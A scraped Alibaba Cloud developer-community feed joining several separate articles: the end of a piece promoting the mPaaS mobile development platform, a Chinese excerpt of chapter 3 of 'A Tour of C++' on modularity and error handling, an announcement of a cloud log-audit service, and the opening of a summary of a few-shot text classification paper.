        实践经验对于打造优秀的产品具有⼗分重要的意义,企业移动应⽤开发过程需要与⾏业特性和应⽤场景相结合,平台中的宏观框架和微观细节都应切实经受多个项⽬的实践检验和反馈修正过程,才能真正成为可堪⼤⽤的能⼒基⽯。考察平台⼚商在企业所处⾏业的案例质量和丰富度,是快速评估平台⼚商能⼒的有效途径。

        对交付过程的管理能⼒

        ⾦融移动应⽤系统和APP承载了远超传统⾦融IT解决⽅案的⼤量综合职能,往往与后台服务端多个横向和纵向的系统相连接,因此部署过程复杂,需要关注各种环境和组件的安装与调试。优秀的企业移动应⽤开发平台应能利⽤智能、⾼效的流程管理⼿段降低部署的复杂度,简化安装操作程序,并有能⼒⽀撑系统上线后的⻓期运维保障,与⾦融机构的既有基础架构、核⼼系统、数据服务及其他系统实现协同发展。

        对⾦融机构服务和运营的⽀撑能⼒

        企业移动应⽤开发平台应该具备出⾊的个性化需求管理、定制开发和升级改造能⼒,助⼒企业⽤⼾开发出符合移动战略和业务特点的移动应⽤系统。此外,围绕移动应⽤开发平台的技术⽀持、培训和技术咨询服务也⼗分重要,⼚商应具备符合企业⽤⼾要求的服务质量和响应能⼒。平台还应将⽬光扩展⾄与⽬标企业相关的整个商业⽣态和ISV⽣态,帮助企业通过数字化平台建⽴更为⼴泛的合作共赢局⾯。

        最后,周震刚给正在数字化转型道路上的金融机构提出了自己的建议。他认为,蚂蚁金服的金融级移动开发平台mPaaS是目前市场上比较领先的产品,相较于其他厂商产品,无论是产品功能还是技术上,mPaaS都更具优势。尤其是在技术深度方面有深厚的积累,可以有效地提高App性能和产品体验,同时借助移动中台、灰度发布、拆包等先进理念可以有效地加快研发效率和对运行期的管控能力,通过人工智能、生物识别、大数据等创新技术的应用可以提供更好的数字化的运营能力,支持业务创新。

        1.jpg

        ]]>
        带你读《C++语言导学》之三:模 块 化-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        A Tour of C++, Second Edition

        模 块 化

        我打断你的时候你不许打断我。—温斯顿·丘吉尔

        3.1 引言

        一个C++程序包含许多独立开发的部分,例如函数(参见1.2.1节)、用户自定义类型(参见第2章)、类层次(参见4.5节)和模板(参见第6章)等。其管理的关键就是清晰地定义这些组成部分之间的交互。第一步也是最重要的一步是将每个部分的接口和实现分离开来。在语言层面,C++使用声明来表达接口。声明(declaration)指明了使用一个函数或一个类型所需要的东西。例如:
        image.png
        这里的关键点是函数体,即函数的定义(definition)是位于“别处”的。对本例,我们可能也想让Vector的表示位于“别处”,不过稍后将再对此进行介绍(抽象类型,参见4.3节)。sqrt()的定义如下所示:
        image.png
        对于Vector来说,我们需要定义全部三个成员函数:
        image.png
        我们必须定义Vector的函数,而不必定义sqrt(),因为它是标准库的一部分。但是这没什么本质区别:库不过就是一些“我们碰巧用到的其他代码”,它也是用我们所使用的语言设施所编写的。
        一个实体(例如函数)可以有很多声明,但只能有一个定义。

        3.2 分别编译

        C++支持一种名为分别编译的概念,用户代码只能看见所用类型和函数的声明。这些类型和函数的定义则放置在分离的源文件里,并被分别编译。这种机制有助于将一个程序组织成一组半独立的代码片段。这种分离可用来最小化编译时间,并严格强制程序中逻辑独立的部分分离开来(从而最小化发生错误的可能)。库通常是一组分别编译的代码片段(如函数)的集合。
        通常,我们将说明模块接口的声明放置在一个文件中,文件名指示出预期用途。例如:
        image.png
        这段声明被置于文件Vector.h中,我们称这种文件为头文件(header file),用户将其包含(include)到自己的程序中以便访问接口。例如:
        image.png
        image.png
        为了帮助编译器确保一致性,负责提供Vector实现部分的.cpp文件同样应该包含提供接口的.h文件:
        image.png
        user.cpp和Vector.cpp中的代码共享Vector.h中提供的接口信息,但这两个文件是相互独立的,可以被分别编译。这几个程序片段可图示如下。
        image.png
        严格来说,使用分别编译并不是一个语言问题,而是关于“如何以最佳方式利用特定语言实现”的问题。但不管怎么说,其实际意义非常重要。程序组织的最佳方式就是将程序看作依赖关系定义良好的一组模块,逻辑上通过语言特性表达模块化,物理上通过文件利用模块化实现高效的分别编译。
        一个单独编译的.cpp文件(包括它使用#include包含的.h文件)称为一个编译单元(translation unit)。一个程序可以包含数以千计的编译单元。

        3.3 模块(C++20)

        使用#include是一种古老的、易出错的且代价相当高的程序模块化组织方式。如果你在101个编译单元中使用#include header.h,编译器将会处理header.h的文本101次。如果你在header2.h之前使用#include header1.h,则header1.h中的声明和宏可能影响header2.h中代码的含义。相反,如果你在header1.h之前使用#include header2.h,则header2.h可能影响header1.h中的代码。显然,这不是一种理想的方式,实际上,自1972年这种机制被引入C语言之后,它就一直是额外代价和错误的主要来源。
        我们的最终目的是想找到一种在C++中表达物理模块的更好方法。语言特性module尚未纳入ISO C++标准,但已是ISO技术规范[ModulesTS]。已有C++实现提供了module特性,因此我在这里冒一点风险推荐这个特性,虽然其细节可能发生改变,而且距离每个人都能使用它编写代码还有些时日。旧代码,即使用#include的代码,还会“生存”非常长的时间,因为代码更新代价很高且非常耗时。
        我们考虑使用module表达3.2节中的Vector和use()例子:
        image.png
        这段代码定义了一个名为Vector的模块,它导出类Vector及其所有成员函数和非成员函数size()。
        我们使用这个module的方式是在需要它的地方导入(import)它。例如:
        image.png
        image.png
        我本可以对标准库数学函数也采用import,但我使用了老式的#include,借此展示新旧风格是可以混合的。在渐进地将#include旧代码更新为import新式代码的过程中,这种混合方式是必要的。
        头文件和模块的差异不仅是语法上的。

        • 一个模块只会编译一遍(而不是在使用它的每个编译单元中都编译一遍)。
        • 两个模块可以按任意顺序导入(import)而不会改变它们的含义。
        • 如果你将一些东西导入一个模块中,则模块的使用者不会隐式获得这些东西的访问权(但也不会被它们所困扰):import无传递性。

        这些差异对可维护性和编译时性能的影响是惊人的。

        3.4 名字空间

        除了函数(参见1.3节)、类(参见2.3节)和枚举(参见2.5节)之外,C++还提供了一种称为名字空间(namespace)的机制,用来表达某些声明属于一个整体以及它们的名字不会与其他名字冲突。例如,我希望利用自己定义的复数类型(参见4.2.1节、14.4节)进行实验:
        image.png
        通过将我的代码放在名字空间My_code中,就可以确保我的名字不会与名字空间std(参见3.4节)中的标准库名字冲突。这种预防措施是明智的,因为标准库的确提供了complex算术运算(参见4.2.1节、14.4节)。
        访问另一个名字空间中的名字,最简单的方法是用名字空间的名字对其进行限定(例如std::cout和My_code::main)。“真正的main()”定义在全局名字空间中,换句话说,它不属于任何自定义的名字空间、类或者函数。
        如果反复对一个名字进行限定变得令人乏味、分散注意力,我们可以使用using声明将名字引入作用域中:
        image.png
        using声明令来自一个名字空间中的名字变得可用,就如同它声明在当前作用域中一样。我们使用using std::swap后,就像是已在my_code()中声明了swap一样。
        为获取标准库名字空间中所有名字的访问权,我们可以使用using指示:
        image.png
        using指示的作用是将具名名字空间中未限定的名字变得在当前作用域中可访问。因此,对std使用using指示之后,我们直接使用cout就可以了,无须再写std::cout。使用using指示后,我们就失去了选择性地使用名字空间中名字的能力,因此必须小心使用这一特性,通常是用在一个库遍布于应用中时(如std)或是在转换一个未使用namespace的应用时。
        名字空间主要用于组织较大规模的程序组件,例如库。名字空间简化了用单独开发的组件组合程序的过程。

        3.5 错误处理

        错误处理是一个大而复杂的主题,其内容和涉及面都远远超越了语言设施层面,而深入到了程序设计技术和工具的范畴。不过C++还是提供了一些对此有帮助的特性,其中最主要的一个工具就是类型系统。我们不应基于内置类型(如char、int和double)和语句(如if、while和for)来费力地构造应用程序,而是应构造适合我们应用的类型(如string、map和regex)和算法(如sort()、find_if()和draw_all())。这些高级构造简化了程序设计,减少了产生错误的可能(例如,你不太可能对一个对话框应用树遍历算法),同时也增加了编译器捕获错误的机会。大多数C++构造都致力于设计并实现优雅且高效的抽象(如用户自定义类型和使用这些自定义类型的算法)。这种抽象机制的一个效果就是运行时错误的捕获位置与错误处理的位置被分离开来。随着程序规模不断增大,特别是库的广泛使用,处理错误的标准变得愈加重要。在程序开发中,尽早地明确错误处理策略是一个好办法。

        3.5.1 异常

        让我们重新考虑Vector的例子。对2.3节中的向量,当我们试图访问某个越界的元素时,应该发生什么呢?

        • Vector的编写者并不知道使用者在面临这种情况时希望如何处理(通常情况下,Vector的编写者甚至不知道向量被用在何种程序中)。
        • Vector的使用者不能保证每次都检测到问题(如果他们能做到的话,越界访问也就不会发生了)。

        假设越界访问是一种错误,我们希望能从中恢复,合理的解决方案是由Vector的实现者检测意图越界的访问并通知使用者,然后使用者可以采取适当的应对措施。例如,Vector::operator[]()能够检测到意图越界的访问,并抛出一个out_of_range异常:
        image.png
        throw将程序的控制权从某个直接或间接调用Vector::operator[]()的函数转移到out_of_range异常处理代码。为此,C++实现需能展开(unwind)函数调用栈以便返回调用者的上下文。换句话说,异常处理机制会退出一系列作用域和函数以便回到对处理这种异常表达出兴趣的某个调用者,一路上会按需要调用析构函数(参见4.2.2节)。例如:
        image.png
        如果希望处理某段代码的异常,应将其放在一个try块中。显然,对v[v.size()]的赋值操作将会出错。因此,程序进入到catch子句中,它提供了out_of_range类型错误的处理代码。out_of_range类型定义在标准库中(在中),事实上,它也被一些标准库容器访问函数使用。
        我捕获异常时采用了引用方式以避免拷贝,我还使用了what()函数来打印在throw点放入异常中的错误信息。
        异常处理机制的使用令错误处理变得更简单、更系统、更具可读性。为了达到这一目的,要注意不能过度使用try语句。我们将在4.2.2节中介绍令错误处理简单且系统的主要技术(称为资源请求即初始化(Resource Aquisition Is Initialization,RAII))。RAII背后的基本思想是,由构造函数获取类操作所需的资源,由析构函数释放所有资源,从而令资源释放得到保证并隐式执行。
        我们可以将一个永远不会抛出异常的函数声明成noexcept。例如:
        image.png
        image.png
        一旦所有的好计划都失败了,函数user()仍抛出异常,此时会调用std::terminate()立即终止当前程序的执行。

        3.5.2 不变式

        使用异常报告越界访问错误是一个典型的函数检查其实参的例子,因为基本假设,即所谓的前置条件(precondition)没有满足,函数拒绝执行。如果我们正式说明Vector的下标运算符,我们将定义类似于“索引必须在[0:size())范围内”的规则,而这正是在operator[]()中要检查的。符号[a:b)指定了一个半开区间,表示a是区间的一部分,而b不是。每当定义一个函数时,就应考虑它的前置条件是什么以及如何检验它(参见3.5.3节)。对大多数应用来说,检验简单的不变式是一个好主意,参见3.5.4节。
        但是,operator[]()对Vector类型的对象进行操作,而且只在Vector的成员有“合理”的值时才有意义。特别是,我们说过“elem指向一个含有sz个double的数组”,但这只是注释中的说明而已。对于类来说,这样一条关于假设某事为真的声明称为类不变式(class invariant),简称为不变式(invariant)。建立类的不变式是构造函数的任务(从而成员函数可以依赖该不变式),成员函数的责任是确保当它们退出时不变式仍然成立。不幸的是,我们的Vector构造函数只履行了一部分职责。它正确地初始化了Vector成员,但是没有检验传入的实参是否有效。考虑如下情况:
        image.png
        这条语句很可能会引起混乱。
        下面是一个更好的定义:
        image.png
        本书使用标准库异常length_error报告元素数目为非正数的错误,因为一些标准库操作也是用这个异常报告这种错误。如果new运算符找不到可分配的内存,那么就会抛出std::bad_alloc。可以编写如下代码:
        image.png
        image.png
        你可以定义自己的异常类,并令它们将任意信息从异常检测点传递到异常处理点(参见3.5.1节)。
        通常,当抛出异常后,函数就无法继续完成分配给它的任务了。于是,“处理”异常的含义是做一些简单的局部清理然后重新抛出异常。例如:
        image.png
        设计良好的代码中很少见到try块,你可以通过系统地使用RAII技术(参见4.2.2节、5.3节)来避免过度使用try块。
        不变式的概念是设计类的核心,而前置条件在函数设计中也起到类似的作用。不变式

        • 帮助我们准确地理解想要什么。
        • 强制我们明确表达想要什么,这给我们更多的机会编写出正确的代码(在调试和测试之后)。

        不变式的概念是C++中由构造函数(参见第4章)和析构函数(参见4.2.2节、13.2节)支撑的资源管理概念的基础。

        3.5.3 错误处理替代

        错误处理在现实世界的所有软件中都是一个主要问题,因此很自然地有很多解决方法。如果错误被检测出来后无法在函数内局部处理,函数就必须以某种方法与某个调用者沟通这个问题。抛出异常是C++解决此问题的最一般的方法。
        在有的语言中,提供异常机制的目的是为返回值提供一种替代机制。但C++不是这样的语言:异常是用来报告错误、完成给定任务的。异常与构造函数和析构函数一起为错误处理和资源管理提供一个一致的框架(参见4.2.2节、5.3节)。当前的编译器都针对返回值进行了优化,使其比抛出一个相同的值作为异常高效得多。
        对于错误不能局部处理的问题,抛出异常不是报告错误的唯一方法。函数可用如下方式指出它无法完成分配给它的任务:

        • 抛出一个异常。
        • 以某种方式返回一个值来指出错误。
        • 终止程序(通过调用terminate()、exit()或abort()这样的函数)。

        在下列情况下,我们返回一个错误指示符(一个“错误码”):

        • 错误是常规的、预期的。例如,打开文件的请求失败就是很正常的(可能没有给定名字的文件或文件不能按请求的权限打开)。
        • 预计直接调用者能合理地处理错误。

        在下列情况下我们抛出异常:

        • 错误很罕见,以致程序员很可能忘记检查它。例如,你最后一次检查printf()的返回值是什么时候?
        • 立即调用者无法处理错误。取而代之,错误必须层层回到最终调用者。例如,让一个应用中的所有函数都可靠地处理每个分配错误或网络故障是不可行的。
        • 在一个应用中,底层模块添加了新的错误类型,以致编写高层模块时不可能处理这种错误。例如,当修改一个旧的单线程应用令其能使用多线程,或使用放置在远端需要通过网络访问的资源时。
        • 错误代码没有合适的返回路径。例如,构造函数无法返回值给“调用者”检查。特别是,构造函数的调用是发生在构造多个局部变量时或是在一个复杂对象构造了一部分时,这样基于错误码的清理工作就会变得非常复杂。
        • 由于在返回值的同时还要返回错误指示符,函数的返回路径变得更为复杂或代价更高(例如使用pair,参见13.4.3节),这可能导致使用输出参数、非局部错误状态指示符或其他变通方法。
        • 错误必须沿着调用链传递到“最终调用者”。反复检查错误码会很乏味、低效且易出错。
        • 错误恢复依赖于多个函数调用的结果,导致需要维护调用和复杂控制结构间的局部状态。
        • 发现错误的函数是一个回调函数(函数参数),因此立即调用者甚至可能不知道调用了哪个函数。
        • 错误处理需要执行某个“撤销动作”。

        在如下情况下,我们终止程序:

        • 错误是无法恢复的类型。例如,对很多(但不是所有)系统,没有合理的方法从内存耗尽错误中恢复。
        • 在检测到一个非平凡错误时,系统的错误处理基于重启一个线程、一个进程或一台计算机。

        确保程序终止的一种方法是向函数添加noexcept(),从而在函数实现的任何地方抛出异常都会进入terminate()。注意,有的应用不能接受无条件终止,这就需要使用替代方法。
        不幸的是,上述条件并不总是逻辑上互斥的,也不总是容易应用。程序的规模和复杂度都会对此有影响。有时,随着应用的进化,各种因素间的权衡会发生改变,这时就需要程序员的经验了。如果存疑,你应该优先选择异常机制,因为其伸缩性更好,也不需要外部工具来检查是否所有的错误都被处理了。
        不要认为所有的错误码或所有的异常都是糟糕的,它们都有清晰的用途。而且,不要相信异常处理很缓慢的传言,它通常比正确处理复杂的或罕见的错误条件以及重复检验错误码要更快。
        对于使用异常实现简单、高效的错误处理,RAII(参见4.2.2节、5.3节)是很必要的。充斥着try块的代码通常反映了基于错误码构思的错误处理策略最糟糕的那一面。

        3.5.4 合约

        我们经常需要为不变式、前置条件等编写可选的运行时检验,目前对此还没有通用的、标准的方法。为此,已为C++20提出了一种合约机制[Garcia,2016] [Garcia,2018]。一些用户想依赖检验来保证程序的正确性—在调试时进行全面的运行时检验,而随后部署的代码包含尽量少的检验,合约的目标是为此提供支持。一些组织依赖系统、全面的检验,在其高性能应用中这一需求就很常见。
        到目前为止,我们还不得不依赖特别的机制。例如,我们可以使用命令行宏来控制运行时检验:
        image.png
        标准库提供了调试宏assert(),以主张在运行时某个条件必须成立。例如:
        image.png
        在“调试”模式下,如果assert()的条件失败,程序会终止。如果不在调试模式下,assert()则不会被检查。这相当粗糙,也很不灵活,但通常已经足够了。

        3.5.5 静态断言

        异常负责报告运行时发现的错误。如果错误能在编译时发现,当然更好。这是大多数类型系统以及自定义类型接口说明设施的主要目的。不过,我们也能对大多数编译时可知的性质做一些简单检查,并以编译器错误消息的形式报告所发现的问题。例如:
        image.png
        如果4<=sizeof(int)不成立,即当前系统中一个int占据的空间不足4字节,则输出integers are too small信息。将这种表达我们的期望的机制称为断言(assertion)。
        static_assert机制能用于任何可以表示为常量表达式(参见1.6节)的东西。例如:
        image.png
        一般而言,static_assert(A,S)的作用是当A不为true时,将S作为一条编译器错误信息输出。如果你不希望打印特定消息,可以忽略S,编译器会提供一条默认消息:
        image.png
        默认消息通常是static_assert所在位置加上表示断言谓词的字符。
        static_assert最重要的用途是在泛型编程中为类型参数设置断言(参见7.2节、13.9节)。

        3.6 函数参数和返回值

        函数调用是从程序的一个部分向另一个部分传递信息的主要方式,也是推荐方式。执行任务所需的信息作为参数传递给函数,生成的结果作为返回值传回。例如:
        image.png
        函数间也存在其他传递信息的路径,例如全局变量(参见1.5节)、指针和引用参数(参见3.6.1节),以及类对象中的共享状态(参见第4章)。全局变量是众所周知的错误之源,我们强烈建议不要使用它,而状态通常只应在共同实现了一个良好定义的抽象的函数间共享(例如,类的成员函数,参见2.3节)。
        了解了函数传递信息的重要性,就不会对存在多种传递方式感到惊讶了。其中的重点是:

        • 对象是拷贝的还是共享的?
        • 如果共享对象,它可变吗?
        • 对象可以移动从而留下一个“空对象”吗?(参见5.2.2节)

        参数传递和返回值的默认行为是“拷贝”(参见1.9节),但某些拷贝可隐式优化为移动。
        在sum()例子中,得到的int被拷贝出sum()而将可能非常大的vector拷贝进sum()会很低效且无意义,因此参数是以引用方式传递的(用&指出,参见1.7节)。
        sum()没有理由修改其实参。这种不可变性是通过将vector参数声明为const实现的(参见1.6节),因此vector是以const引用方式传递的。

        3.6.1 参数传递

        首先考虑如何将值传入函数。默认是拷贝方式(“传值”),如果我们希望在调用者的环境中引用一个对象,则可采用引用方式(“传引用”)。例如:
        image.png
        image.png
        当关注性能时,我们通常采用传值方式传递小对象,用传引用方式传递大对象。这里“小”的含义是指“拷贝代价确实很低的东西”。“小”的准确含义依赖于机器架构,但“两三个指针大小或更小”是一条很好的经验法则。
        如果基于性能原因想采用传引用方式,但又不希望修改实参,则可采用传const引用的方式,就像sum()例子中那样。这是目前为止普通程序代码中最常见的情况:这种参数传递方式又快又不易出错。
        函数参数具有默认值是很常见的,即一个值被认为是首选的或是最常见的。我们可以采用默认函数参数(default function argument)来指定这样一个默认值。例如:
        image.png
        它是重载的一种替代,符号上更为简单:
        image.png

        3.6.2 返回值

        一旦计算出了结果,就需要将其从函数传递回调用者。再次强调,返回值的默认方式是拷贝,对小对象这是很理想的。我们仅在希望授权调用者访问函数的非局部对象时才以“传引用”方式返回值。例如:
        image.png
        Vector的第i个元素的存在与下标运算符的调用是无关的,因此我们可以返回它的引用。
        另一方面,在函数返回时局部变量就消失了,因此我们不应该返回局部变量的指针或引用:
        image.png
        幸运的是,所有主要的C++编译器都能捕获bad()中的明显错误。
        返回一个“小”类型的引用或值都很高效,但如何将大量信息从函数中传递出来呢?考虑下面的代码:
        image.png
        一个Matrix可能非常大,从而在现代硬件上做拷贝的代价很高。因此不进行拷贝,而是为Matrix设计一个移动构造函数(参见5.2.2节),将Matrix移出operator+()的代价是很低的。我们无须倒退到使用手工内存管理:
        image.png
        不幸的是,通过返回指针来返回大对象的方式在旧代码中很常见,这是一些很难发现的错误的主要来源。不要编写这样的代码。注意,operator+()与add()一样高效,但远比其更容易定义、更容易使用、更不易出错。
        如果一个函数不能执行我们要求它执行的任务,它可以抛出异常(参见3.5.1节)。这有助于避免代码中到处是“异常问题”的错误码检验。
        一个函数的返回类型可以从其返回值推断出来。例如:
        image.png
        这很方便,特别是对泛型函数(函数模板,参见6.3.1节)和lambda(参见6.3.3节),但要小心使用它,因为推断类型不能提供一个稳定的接口:改变函数(或lambda)的实现就可能改变类型。

        3.6.3 结构化绑定

        一个函数只能返回一个值,但这个值可以是一个包含很多成员的类对象。这令我们可以高效地返回很多值。例如:
        image.png
        在本例中,我们用{s,i}构造Entry类型返回值。类似地,可以将一个Entry的成员“解包”到局部变量中:
        image.png
        auto [n,v]声明了两个局部变量n和v,它们的类型是从read_entry()的返回值推断出来的。这种为类对象的成员赋予局部名字的机制称为结构化绑定(structured binding)。
        考虑另一个例子:
        image.png
        照例,我们用const和&装点auto。例如:
        image.png
        当我们将结构化绑定用于没有私有数据的类时,很容易看到绑定是如何进行的:定义的用于绑定的名字数目必须与类的非静态数据数目一致,且绑定时引入的每个名字为对应的成员命名。与显式使用组合对象的版本相比,代码质量没有什么差别,结构化绑定的使用只关乎如何更好地表达一个思想。
        如果类是通过成员函数来访问的,结构化绑定也能处理。例如:
        image.png
        一个complex有两个成员,但其接口由访问函数组成,如real()和imag()。将一个complex映射到两个局部变量(如re和im)是可行的,也很高效,但完成这一目的的技术已经超出了本书的范围。

        3.7 建议

        [ 1 ] 区分声明(用作接口)和定义(用作实现);3.1节。
        [ 2 ] 使用头文件描述接口、强调逻辑结构;3.2节;[CG: SF.3]。
        [ 3 ] 使用#include将头文件包含到实现其函数的源文件中;3.2节;[CG: SF.5]。
        [ 4 ] 在头文件中应避免定义非内联函数;3.2节;[CG: SF.2]。
        [ 5 ] 优先选择module而非头文件(在支持module的地方);3.3节。
        [ 6 ] 用名字空间表达逻辑结构;3.4节;[CG: SF.20]。
        [ 7 ] 将using指示用于程序转换、基础库(如std)或局部作用域中;3.4节;[CG: SF.6] [CG: SF.7]。
        [ 8 ] 不要在头文件中使用using指示;3.4节;[CG: SF.7]。
        [ 9 ] 抛出一个异常来指出你无法完成分配的任务;3.5节;[CG: E.2]。
        [10] 异常只用于错误处理;3.5.3节;[CG: E.3]。
        [11] 预计直接调用者会处理错误时就使用错误码;3.5.3节。
        [12] 如果通过很多函数调用预计错误会向上传递,则抛出异常;3.5.3节。
        [13] 如果对使用异常还是错误码存疑,优先选择异常;3.5.3节。
        [14] 在设计早期就规划好错误处理策略;3.5节;[CG: E.12]。
        [15] 用专门设计的用户自定义类型(而非内置类型)作为异常;3.5.1节。
        [16] 不要试图在每个函数中捕获所有异常;3.5节;[CG: E.7]。
        [17] 优先选择RAII而非显式的try块;3.5.1节、3.5.2节;[CG: E.6]。
        [18] 如果你的函数不抛出异常,那么将其声明成noexcept;3.5节;[CG: E.12]。
        [19] 令构造函数建立不变式,如果不成功,就抛出异常;3.5.2节;[CG: E.5]。
        [20] 围绕不变式设计你的错误处理策略;3.5.2节;[CG: E.4]。
        [21] 能在编译时检查的问题通常最好在编译时检查;3.5.5节;[CG: P.4] [CG: P.5]。
        [22] 采用传值方式传递“小”值,采用传引用方式传递“大”值;3.6.1节;[CG: F.16]。
        [23] 优先选择传const引用方式而非传普通引用方式;_module.arguments_;[CG: F.17]。
        [24] 用函数返回值方式(而非输出参数)传回结果;3.6.2节;[CG: F.20] [CG: F.21]。
        [25] 不要过度使用返回类型推断;3.6.2节。
        [26] 不要过度使用结构化绑定,使用命名返回类型在程序文本角度下通常更为清晰;

        ]]>
        简化云上等保,阿里云发布日志审计服务(公测)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        阿里云日志服务作为行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。目前发布日志审计服务功能,提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。

        背景

        日志审计是法律刚性需求

        无论海内外,尤其国内自从2017年《网络安全法》还是今年《等保2.0》的即将与12月实施,企业落实日志审计变得越迫切.
        image

        日志审计是客户安全合规依赖基础

        很多企业自身有很成熟的法规条例以及合规审计团队,针对账号设备操作,网络行为进行审计,也需要对日志审计。一方面客户有成熟的内部合规团队,可以直接消费原生各类日志;客户也可以直接使用日志审计服务提供的审计支持,直接构建并输出合规审计信息;如果客户有安全中心(SOC)可以直接消费日志审计中日志,也可以直接使用阿里云安全中心。
        image

        日志审计是安全防护的重要一环

        根据FileEye M-Trends 2018报告,企业安全防护管理能力薄弱,亚太地区尤甚间,企业组织的攻击从发生到发现所需时长平均101天,而亚太平均需要498天;其中发现后的验证平均需要58天。很显然,需要长期、可靠、无篡改的日志记录与审计支持下,来持续缩短这个时间。

        日志服务与日志审计服务App

        日志服务与审计场景

        SLS作为行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。一直很好的支持日志服务场景相关场景:DevOps、运营、安全、审计.
        image

        典型日志审计场景

        根据我们支持客户的反馈来看,日志审计可以分成如下4层需求,越往上越高级。
        image

        说明

        1. 基础需求是大部分中小企业客户需要的自动化采集存储日志的功能,他们主要的诉求是满足等保2.0最低的需求,并脱离手工去维护。
        2. 高级需求的是跨国公司、大公司以及部分中型客户,他们往往多个部门之间独立结算,并且在使用阿里云的账号上各自隔离。但是在审计的时候,却需要自动化的统一采集相关日志,他们的主要诉求除了上述外,额外需要能够中心化的采集日志、并支持多个账号的简单管理。这部分公司往往有自己的审计系统,因此对日志审计的需求是能够实时、简单的对接。
        3. 再高一级的需求是有专门合规团队的大公司,他们需要针对日志进行监控、告警和分析的需求,一部分客户可以直接采集同步数据到期专门的审计系统中去操作. 一部分尤其是计划在云上搭建一套新的审计系统的客户, 可以直接使用日志服务提供的审计支持(查询, 分析, 告警, 可视化等)进行审计操作.
        4. 最顶上的客户往往是拥有专业成熟审计合规团队的大公司, 一般其都拥有自己的一套SOC或审计系统, 核心需求是对接数据进行统一操作.
          针对以上4类客户, 日志服务的日志审计服务都可以比较好的满足.

        日志审计服务App

        日志审计服务以日志服务的App形式存在,将于11月初发布,并公测到12月底,公测期间App免费,数据存储、读写流量等按标准按量收费
        提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。
        image

        产品技术功能与优势

        优势

        • 完整数据采集:产品覆盖所有审计相关日志自动化采集(可接入20+产品)
        • 配置简单与自动化:跨多主账号、自动实时发现新资源并实时采集。一键式配置(一期支持6个)。
        • 丰富建模与分析功能:借助SLS查询分析、加工、报表、告警、导出等功能,完整支持审计场景下分析告警对接需求
        • 低成本存储:利用对象存储、冷备等介质保证低成本
        • 丰富生态:与开源、阿里云大数据、第三方SOC软件无缝对接,充分发挥数据价值

        功能
        image

        区域与产品覆盖

        发布区域

        登录入口:

        数据区域:

        • 数据采集区域目前支持公共云所有区域
        • 同步到中心化目标区域,目前支持北京、上海、杭州、深圳等区域以及新加坡

        覆盖产品
        支持接入支持如下产品(一键式接入的为蓝色):
        image

        快速开始

        1. 开通

        首先开通日志服务的日志审计功能.
        image

        2. 首次配置

        进入App后的首次配置页面, 选择中心化存储的区域, App会在保存后自动构建一个固定模式名字的项目. 选择开启相关的产品, 并参考页面提示授权, 之后保存.
        image

        3. 多账户配置

        在多账户配置的全局配种, 配置其他多个主账号, 将其日志也统一收集到当前中心化项目中.
        image

        4. 统一查询与内置报表查看

        在左侧菜单中选择某一类数据进行跨账号的统一搜索, 也支持多个产品之间的协同查询与分析以及内置报表.
        image

        5. 其他审计操作

        可以在日志服务首页直接定位到中心项目, 进行扩展的审计操作.

        1. 针对数据交互式分析, 请参考SQL统计功能.
        2. 构建自定义报表, 请参考仪表盘操作
        3. 订阅报表并定期发送, 请参考报表订阅
        4. 指定规则并自定义告警, 请参考告警操作
        5. 清洗数据做统一分析或输出. 请参考数据加工
        6. 通过接口对接SOC或其他系统, 请参考数据投递

        更多参考

        ]]>
        基于归纳网络的少样本文本分类 | EMNLP 2019 会议论文解读 Fri, 02 May 2025 09:39:04 +0800 作者:耿瑞莹,黎斌华,李永彬,孙健

        1.摘要

        深度学习方法在数据稀缺的场景下往往表现很差,在这种挑战性的场景下,近期的工作往往使用meta-learning的方法来模拟少样本学习任务,通过在样本级别把query和支撑集进行比较来完成分类。但是这种样本级别的比较往往会被同一个类中各种不同的表述方式所干扰,因此我们需要为支撑集中的每个类别学习一种泛化的表示,然后去和query进行度量。在本工作中,我们提出了一个新的归纳网络(Induction Networks)来学习这样的一般化的类别表示,通过在meta learning的过程中引入动态路由算法(dynamic routing),我们的模型对于未见过的类别有良好的适应能力。我们在一个通用的英文基准数据集和一个真实场景的中文意图分类数据集上验证我们的模型,均取得了state-of-the-art的结果,证明了在少样本学习场景下学习类级别表示的有效性。

        2.问题定义

        少样本学习的的目标是模型在大量类别中学会通过少量数据正确地分类后,对于新的类别,只需要少量的样本就能快速学习。形式化来说,few-shot的训练集中包含了大量的类别,每个类别中有少量样本。在训练阶段,会在训练集中随机抽取C个类别,每个类别K个样本(总共C×K个数据)构建一个meta-task,作为模型的支撑集(Support set)输入;再从这C个类中抽取一批样本作为模型的询问集(Query set)。即要求模型从C×K个数据中学会如何区分这C个类别,这样的任务被称为C-way K-shot问题。 模型训练的过程中在每次迭代时把支撑集送入模型,并优化模型在询问集上产生的损失函数,这种训练方式一般称为Episode-based meta-training,详情见Algorithm 1。值得注意的是这种训练机制使得模型很难过拟合,假设我们训练集中包含159个类,可以产生( █(159@5))=794,747,031个不同的5-way 任务。

        image.png
        image.png

        3.引言

        少样本学习相关的研究致力于通过极少量的样本学习心得类别来解决数据缺失的问题,当数据量极少时,基于finetune的方法将难以生效,早期的工作使用数据增强和正则化来缓解数据不足时的过拟合问题,但是也只能在一定程度上有效。近期的工作往往基于meta learning的方法,把训练过程分解为一系列的meta-task,通过将训练过程的task和测试阶段的task定义一致,可以通过在不同的meta task之间切换来抽取一些可迁移的知识。因此few-shot learning的模型往往可以只根据一个支撑集就能对未见过的类别进行识别。
